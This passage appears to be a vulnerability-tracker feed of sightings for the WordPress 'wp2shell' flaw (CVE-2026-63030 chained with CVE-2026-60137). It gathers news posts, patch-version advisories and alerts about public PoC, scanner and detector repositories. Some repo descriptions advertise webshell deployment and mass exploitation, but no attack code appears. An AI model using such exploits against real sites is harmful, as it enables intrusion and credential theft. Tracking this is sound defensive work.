"uuid": "f6216559-3673-4d8d-93e2-eb331129b461", "content": "CVE-2026-63030: WordPress Core Flaws Expose Over 500 Million Sites\u2014Update Required #WordPress #CyberSecurity #CVE2026", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwytaiwxw2l"}, {"timestamp": "2026-07-18T19:29:55.238Z", "date_only": false, "value": "2026-07-18T19:29:55.238279Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwytdoirq2g", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "cdd3ab0c-51b8-4984-b6a6-d2bfbe020b1e", "content": "CVE-2026-63030: WordPress wp2shell RCE Exploits Highlight Patch Urgency #WordPress #CVE2026 #CyberSecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwytdoirq2g"}, {"timestamp": "2026-07-18T19:29:59.536Z", "date_only": false, "value": "2026-07-18T19:29:59.536536Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwythttjh2u", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "727c5ae7-f5c7-428f-8327-b49ecf76cfd1", "content": "CVE-2026-63030: WordPress wp2shell Exploits\u2014Panic or Proactive Response? #CVE2026 #WordPress #CyberSecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwythttjh2u"}, {"timestamp": "2026-07-18T20:00:03.909Z", "date_only": false, "value": "2026-07-18T20:00:03.909368Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94030", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "01989d2c-051d-4a7b-b244-c0b335eef230", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mrx-arafat\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 17:21:31\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94030"}, {"timestamp": "2026-07-18T20:00:03.996Z", "date_only": false, "value": "2026-07-18T20:00:03.996620Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94025", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0aa98fe4-ea9b-4aaf-8aa2-7775d14bb25f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xWhoknows\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 17:33:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAutomated exploit chain for CVE-2026-63030 / CVE-2026-60137 \u2014 unauthenticated blind SQLi via WordPress REST batch route-confusion. Dumps user hashes, cracks credentials, deploys webshell. Supports single target and bulk site lists. For authorized security testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94025"}, {"timestamp": "2026-07-18T20:00:04.072Z", "date_only": false, "value": "2026-07-18T20:00:04.072045Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94024", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9bb515b7-e858-4660-98db-f0565ecd4121", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell_scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zi3lak\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 17:56:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nNon-intrusive detection scanner for the WordPress wp2shell pre-auth RCE chain (CVE-2026-63030 + CVE-2026-60137). Detection-only, no exploitation.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94024"}, {"timestamp": "2026-07-18T20:00:04.181Z", "date_only": false, "value": "2026-07-18T20:00:04.181776Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94031", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6bd1e42d-9c79-4c9e-a3da-2c64de23bfca", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a yoerivegt\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 19:02:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell (CVE-2026-60137 / CVE-2026-63030)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94031"}, {"timestamp": "2026-07-18T21:00:03.719Z", "date_only": false, "value": "2026-07-18T21:00:03.719122Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94036", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ee13a476-a83d-48fc-bab3-fa0f5ec20955", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WordPresShell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a securelayer7\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 19:57:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE PoC for CVE-2026-63030 / CVE-2026-60137 (WordPress core)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94036"}, {"timestamp": "2026-07-18T21:00:03.823Z", "date_only": false, "value": "2026-07-18T21:00:03.823678Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94040", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d12698d2-7dab-4ac8-997b-acec8f10b5e4", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Vulnerability Scanner\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a abdal-cve-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ebrasha\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 20:02:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAbdal CVE-2026-63030 is a professional WordPress vulnerability scanner designed to detect exposure to CVE-2026-63030 through version analysis and REST API security checks. Developed by Ebrahim Shafiei (EbraSha) for cybersecurity research, penetration testing, and WordPress security assessment.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94040"}, {"timestamp": "2026-07-18T21:02:12.706Z", "date_only": false, "value": "2026-07-18T21:02:12.706825Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mqx5yezwym2e", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "eb341e88-d81b-4047-b033-279790073a63", "content": "\ud83d\udee1\ufe0f RECAP: WordPress 'wp2shell' \u2014 CVE-2026-63030 chained with CVE-2026-60137 gave unauthenticated RCE on a bare install. Emergency patch shipped (6.9.5/7.0.2 forced auto-update). Public PoC live. Src: The Hacker News", "url": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mqx5yezwym2e"}, {"timestamp": "2026-07-18T21:39:32.334Z", "date_only": false, "value": "2026-07-18T21:39:32.334077Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mqxa34s4rl2o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1280ca9f-234e-447f-afc2-073b32c02566", "content": "wp2shell (CVE-2026-63030): Pre-Auth RCE Chain in WordPress Core - Analysis and Open-Source Scanner", "url": "https://bsky.app/profile/r-netsec.bsky.social/post/3mqxa34s4rl2o"}, {"timestamp": "2026-07-18T22:01:40.978Z", "date_only": false, "value": "2026-07-18T22:01:40.978059Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mqxbcpul222j", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7b4ed8ab-d51d-4484-b721-7136a05cf3b0", "content": "\ud83d\udd12 Wp2shell (CVE-2026-63030): Pre-Auth RCE Chain in WordPress Core\n\nA pre-authentication Remote Code Execution (RCE) vulnerability, wp2shell (CVE-2026-63030), has been found in WordP...\n\nhttps://tinyurl.com/2cofe6fl #CyberSecurity #InfoSec #CrustyTLDR", "url": "https://bsky.app/profile/crustytldr.bsky.social/post/3mqxbcpul222j"}, {"timestamp": "2026-07-18T22:15:51.718Z", "date_only": false, "value": "2026-07-18T22:15:51.718954Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/wdormann/statuses/116943287112997869", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1278e5e3-8df0-4016-9a18-e22a3327af48", "content": "I didn't confirm it, but there's apparently a public exploit for wp2shell (CVE-2026-60137 and CVE-2026-63030)https://warez.sl0p.foo/wp2shell-fast/", "url": "https://infosec.exchange/users/wdormann/statuses/116943287112997869"}, {"timestamp": "2026-07-18T22:15:56.432Z", "date_only": false, "value": "2026-07-18T22:15:56.432021Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/wdormann.infosec.exchange.ap.brid.gy/post/3mqxc4625swq2", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "06dbd2d5-8943-4e1f-ae8f-bf3e1d0b49d0", "content": "I didn't confirm it, but there's apparently a public exploit for wp2shell (CVE-2026-60137 and CVE-2026-63030)\nhttps://warez.sl0p.foo/wp2shell-fast/", "url": "https://bsky.app/profile/wdormann.infosec.exchange.ap.brid.gy/post/3mqxc4625swq2"}, {"timestamp": "2026-07-18T23:00:03.277Z", "date_only": false, "value": "2026-07-18T23:00:03.277975Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94049", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "5d47f3f1-8db1-4951-a595-f17edf86290c", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a JohenLastGen-JLG\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 21:39:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell - WordPress RCE & PoC (CVE-2026-63030 + CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94049"}, {"timestamp": "2026-07-18T23:00:03.363Z", "date_only": false, "value": "2026-07-18T23:00:03.363374Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94045", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "37fb90cb-9283-4ae3-ac28-2af527db7e8c", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-scan\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fullhunt\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 20:45:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA scanner and proof-of-concept toolkit for CVE-2026-63030 (wp2shell) - pre-authenticated remote code execution in WordPress core\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94045"}, {"timestamp": "2026-07-18T23:00:03.403Z", "date_only": false, "value": "2026-07-18T23:00:03.403295Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94044", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "4a7e3530-6dbd-485f-860c-cd3493ea39cd", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030_PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ChiefYoru\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 20:59:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 - WordPress Core Pre-Auth RCE Mass Exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94044"}, {"timestamp": "2026-07-18T23:00:03.489Z", "date_only": false, "value": "2026-07-18T23:00:03.489359Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94051", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "57c092d5-841c-4df1-8062-7e44e0e958f9", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-detect\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a own2pwn-fr\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 21:36:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nBlackbox, non-intrusive detector for wp2shell (WordPress core pre-auth RCE, CVE-2026-63030 / CVE-2026-60137). Detection only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94051"}, {"timestamp": "2026-07-19T00:00:09.202Z", "date_only": false, "value": "2026-07-19T00:00:09.202290Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94036", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "632ed3a4-358c-484f-8828-59c2fc1a7bf7", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WordPresShell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a securelayer7\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 19:57:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE PoC for CVE-2026-63030 / CVE-2026-60137 (WordPress core)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94036"}, {"timestamp": "2026-07-19T00:00:28.470Z", "date_only": false, "value": "2026-07-19T00:00:28.470119Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thehackernews/9544", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "46a35354-5837-491e-a906-c49b94235389", "content": "\u26a1 UPDATE: #wp2shell now has two CVEs, and a working proof-of-concept is public.\n\n> CVE-2026-63030 breaks REST batch routing\n> CVE-2026-60137 injects SQL\n\nChained, they give an anonymous attacker code execution on affected WordPress sites.\n\nHow the exploit path works: https://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html", "url": "https://t.me/thehackernews/9544"}, {"timestamp": "2026-07-19T00:00:40.118Z", "date_only": false, "value": "2026-07-19T00:00:40.118978Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93917", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f6b40771-8b1d-438c-915e-dbf9786999be", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wordpress-cve-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Senanfurkan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 00:44:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE in WordPress Core via REST API batch route confusion + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). Detection PoC.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93917"}, {"timestamp": "2026-07-19T00:02:24.880Z", "date_only": false, "value": "2026-07-19T00:02:24.880670Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/116943706104831864", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ca2a19e4-d072-4635-9ad2-5b9fc5cf238d", "content": "\u203c\ufe0f CVE-2026-63030: wp2shell, a critical remote code execution vulnerability in WordPress core\nCredit: @hash_kitten // @assetnote\nPoC: https://x.com/DarkWebInformer/status/2078251636623851682", "url": "https://infosec.exchange/users/DarkWebInformer/statuses/116943706104831864"}, {"timestamp": "2026-07-19T02:37:36.265Z", "date_only": false, "value": "2026-07-19T02:37:36.265760Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jumbokun.bsky.social/post/3mqxqqfcp3c2k", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "8b887380-1950-4c0a-93e1-de54b7c4835b", "content": "WordPress\u306e\u8106\u5f31\u6027\uff08wp2shell\uff0fCVE-2026-63030\uff09\n\u304b\u306a\u308a\u3084\u3070\u3044\n\n\u5373\u30d0\u30fc\u30b8\u30e7\u30f3\u30a2\u30c3\u30d7\u304c\u5fc5\u8981\u305d\u3046\n\n\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u5148\n\u30fb6.8.x\u3000\u2192\u30006.8.6 \u4ee5\u4e0a\n\u30fb6.9.x\u3000\u2192\u30006.9.5 \u4ee5\u4e0a\n\u30fb7.0.x\u3000\u2192\u30007.0.2 \u4ee5\u4e0a", "url": "https://bsky.app/profile/jumbokun.bsky.social/post/3mqxqqfcp3c2k"}, {"timestamp": "2026-07-19T04:53:12.099Z", "date_only": false, "value": "2026-07-19T04:53:12.099970Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mqxycl25wi2d", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "dc7d94c0-8cea-43cd-930b-629bb41ff20c", "content": "Top 3 CVE for last 7 days:\nCVE-2026-58532: 47 interactions\nCVE-2026-15409: 21 interactions\nCVE-2026-63030: 17 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-63030: 16 interactions\nCVE-2026-60137: 9 interactions\nCVE-2026-62857: 4 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mqxycl25wi2d"}, {"timestamp": "2026-07-19T06:00:03.343Z", "date_only": false, "value": "2026-07-19T06:00:03.343108Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberbannews_ir/22721", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1cf2d49b-4ca1-4885-97de-c2796ca776df", "content": "\ud83d\udd34 \u0647\u0634\u062f\u0627\u0631 \u0627\u0645\u0646\u06cc\u062a\u06cc\u061b \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062e\u0637\u0631\u0646\u0627\u06a9 \u062f\u0631 \u0648\u0631\u062f\u067e\u0631\u0633 \u0628\u0627 \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631\n\n\ud83d\udd3b \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u0647\u0627\u06cc CVE-2026-60137 \u0648 CVE-2026-63030 \u062f\u0631 \u0648\u0631\u062f\u067e\u0631\u0633 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u062f\u0631 \u0635\u0648\u0631\u062a \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0647\u0645\u0632\u0645\u0627\u0646\u060c \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RCE) \u0631\u0627 \u0628\u0631\u0627\u06cc \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\ud83d\udd3b \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0646\u0645\u0648\u0646\u0647 \u06a9\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 (PoC) \u0628\u0627 \u0646\u0627\u0645 wp2shell \u0646\u06cc\u0632 \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u0639\u0645\u0648\u0645\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0648 \u062e\u0637\u0631 \u062d\u0645\u0644\u0627\u062a \u0631\u0627 \u0627\u0641\u0632\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a.\n\n\ud83d\udd39 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 6.9.5 \u0648 7.0.2 \u0648\u0631\u062f\u067e\u0631\u0633 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u0648 \u0628\u0647 \u0645\u062f\u06cc\u0631\u0627\u0646 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u062a\u0648\u0635\u06cc\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u0647\u0631\u0686\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u062c\u062f\u06cc\u062f \u0631\u0627 \u0646\u0635\u0628 \u06a9\u0646\u0646\u062f.\n\n#\u062a\u0647\u062f\u06cc\u062f_\u0633\u0627\u06cc\u0628\u0631\u06cc #\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc #\u0648\u0631\u062f\u067e\u0631\u0633\n\n\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\n\ud83d\udd39\ud83d\udd39 @cyberbannews_ir", "url": "https://t.me/cyberbannews_ir/22721"}, {"timestamp": "2026-07-19T06:22:24.424Z", "date_only": false, "value": "2026-07-19T06:22:24.424945Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/raptor.infosec.exchange.ap.brid.gy/post/3mqy5bzildc22", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d5905752-9809-4aae-b13a-54a05ef9f76b", "content": "\ud83e\udd2f wp2shell (CVE-2026-63030): Pre-Auth #RCE Chain in #WordPress Core\n\n\u201cWordPress patched it in 6.9.5 and 7.0.2, touching three files and sixteen lines. This post covers what broke, why the bugs connect, and what teams running WordPress need to do.\u201d [\u2026]", "url": "https://bsky.app/profile/raptor.infosec.exchange.ap.brid.gy/post/3mqy5bzildc22"}, {"timestamp": "2026-07-19T07:04:27.541Z", "date_only": false, "value": "2026-07-19T07:04:27.541472Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jkanematsu.bsky.social/post/3mqy7qa5ni22j", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f5ab744b-643d-4c74-967b-b3e915733135", "content": "\u3010\u7d9a\u5831\u3011WordPress\u306e\u8106\u5f31\u6027\uff08wp2shell\uff0fCVE-2026-63030\uff09\u304c\u516c\u8868\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n\u203b\u6628\u65e5\u306e\u6295\u7a3f\u3067\u66f8\u3044\u305f\u3001\u9023\u643a\u3057\u3066\u60aa\u7528\u3055\u308c\u308bSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\uff08CVE-2026-60137\uff09\u3092\u542b\u307f\u307e\u3059\u3002\n\n\u3010\u4fee\u6b63\u7248\u3078\u901f\u3084\u304b\u306b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3057\u3066\u304f\u3060\u3055\u3044\u3011\n\u30fb6.9.x \u3000\u2192\u3000WordPress 6.9.5 \n\u30fb7.0.x \u3000\u2192\u3000WordPress 